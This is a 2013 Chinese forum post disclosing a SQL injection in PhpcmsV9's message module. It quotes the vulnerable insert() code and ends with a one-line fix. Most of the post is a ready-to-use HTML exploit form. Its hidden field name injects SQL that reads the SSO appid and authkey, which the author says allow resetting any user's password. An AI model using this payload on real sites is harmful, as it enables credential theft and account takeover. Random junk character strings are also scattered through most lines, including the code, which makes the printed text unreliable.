找回密码
 立即注册
查看: 2931|回复: 0
打印 上一主题 下一主题

PhpcmsV9 SQL注射修改任意用户密码漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 11:33:10 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
简要描述:. Z. D- E6 C6 W9 ^

* m0 k# c5 X  G$ u/ y5 I第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。/ G2 s8 G2 K: q0 w" s8 Z9 t

. E. _6 s8 Y5 E, g' E. ^明天再更新下一个漏洞。; V( {" Z8 ~' z! ~! E; ]6 ~6 e
详细说明:' q# c) V" _/ N% K: S8 F6 _: B! a
在/phpcms9/phpcms/modules/message/index.php中有代码如下:
  ]2 I, s+ f2 e5 P5 I! u2 G' d. `( O4 F* ]
$messageid = $this->message_db->insert($_POST['info'],true);
6 |* M: d7 m+ a$ B! i3 }6 a, M
8 t8 i, y9 }* }& k* X& R# `: a6 `+ B1 M2 K
insert方法是key value的,代码如下:, ~* L' [2 t" K6 x/ P+ k6 }" Y  m
) q* [+ |8 S* g0 R$ {0 t! o
public function insert($data, $table, $return_insert_id = false, $replace = false) {. ?! O/ _; f  M- ?+ W3 k3 T+ Y2 a
                if(!is_array( $data ) || $table == '' || count($data) == 0) {
& Q& ^; j/ A# |0 x0 I                        return false;
3 L( s  p& X7 w8 X9 u; P                }; p6 e, ^( k. @+ L+ b( }
                * F+ M: n$ P8 V$ U: u+ [; Z
                $fielddata = array_keys($data);9 l% h0 d) ]" O  U, _; d- }8 S
                $valuedata = array_values($data);
1 i% w! ^7 O6 o7 B                array_walk($fielddata, array($this, 'add_special_char'));
9 o: d0 m+ L4 F6 {1 N* x7 |                array_walk($valuedata, array($this, 'escape_string'));
' ^5 e2 r- X& F' Y               
/ ^. m! p& Q+ h) m8 u                $field = implode (',', $fielddata);
. B! _# L* M, f- p0 Q' P                $value = implode (',', $valuedata);" Q) A, t$ m1 t$ M' v/ P! ~* _
  \2 Q3 v7 M" z* e! `5 r& m
                $cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';2 m6 h7 t& F) f8 h- C8 ?
                $sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';5 ~" r/ g& S+ ]1 Q' W
                $return = $this->execute($sql);. M& v3 g' z4 W! K9 o+ g3 @
                return $return_insert_id ? $this->insert_id() : $return;
2 S, }! }! Q7 G        }
4 @* v3 |) }+ W# Q! _' d1 r  X4 `; U; s  f" G5 P  V
3 x/ r' F5 C2 r) D; p4 ^/ ~/ ]" M$ X
嗯,很遗憾的是2 r* q( r1 q' E: ^7 `" C

/ d! @, O3 y7 W% c1 Y; ?' Rarray_walk($fielddata, array($this, 'add_special_char'));
, o7 A- p0 I9 N
2 K0 \) i6 C: Z' S# O0 J
& \6 J+ w7 v4 A1 M- `1 j! _( D中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。! _8 i$ N; l1 S$ Z" W9 R
- v1 t1 N! \! M. ~; W% I
到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。. P* F4 ~7 [* E" s  I4 Z$ S2 a

6 L6 [6 S# u2 N1 `1 N5 S; U4 e漏洞证明:8 V4 g1 }) P" C' l# |5 z
读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。* F1 G' F9 b" S0 s
1 ^. j0 I% y" _" {5 ?

! }1 x7 f+ E: S, w; V! y表单如下:用户名什么的得自己改一改。% i! [8 i+ V$ K& L" S
<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">" Y1 Q# T5 n8 P+ `# F, @) N
<table width="100%" cellspacing="0" class="table_form">
2 C; O, Y8 t" _6 N, D<tr>
7 v# G. l* T" k$ V<th>标 题:</th>
1 i) K: ^8 L6 ^  f1 A. z1 l<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh"  class="input-text"/></td>$ }( ~8 k% H, L
</tr>
/ O/ L3 Z5 B: @5 u5 Y& N5 v<tr>4 G  i' l, d: ^! {4 n# |" E
<th>内 容:</th>
# d5 d- |0 U" R<td><textarea name="info[content]"  id="con" rows="5" cols="50"></textarea></td>
, X0 T2 x/ \$ Z; H7 Z</tr>' q  q  e7 ~& h6 t1 y
<input type="hidden" name="info[replyid]" value="2" />
! i2 c. t* K1 \' }, O  `+ e<input type="hidden" name="info[send_to_id]" value="cc" />
9 B9 n- B0 {$ a' \9 u  G3 a# h' z<input type="hidden" name="info[send_from_id]" value="hh">
' `$ Q" U0 d5 [! ]' K( T! D' q<!-- 漏洞的利用重点在这里开始 -->
2 a! X* M% I+ [6 C& u! ~6 P8 L<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" /> - f9 N' H) R2 L7 q' }0 }. o
<!-- 漏洞的利用重点在这里结束 -->
0 O  N+ ~: U! [" i' f2 n, V: v, b<tr>6 E" v) L& X2 n4 S, @& |
<th>验证码:</th>6 O: h3 Q5 k, F  W" t$ C2 T
<td><input name="code" type="text" id="code" size="10"  class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>+ n6 I5 U, _2 A- _. e$ N' R$ L
</tr>$ W4 i' e2 K( l' R3 Y$ m) R/ G
<tr>4 m7 E) s/ G" U7 w! @4 V6 B
<td></td>/ O6 W4 }& L2 ?3 M" N1 n
<td colspan="2"><label>
  M, a/ ^) v; v. j0 w' [+ X2 n7 a<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>
. j! M7 d' l1 l; Q</label></td>) l  u* q( [& O, ~: c
</tr>
3 g9 f) ]7 ~) n* X7 h8 y</table>
, K) }/ F. g+ [  v</form>
% r! A, C9 n7 y7 `在add_special_char函数内对key做过滤就可以了。/ ~; x! m% {/ |
( `1 h- p3 X$ y) c
6 {0 a/ c9 O# ^) D; J& c
2 D1 v* N/ \, Y' y

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表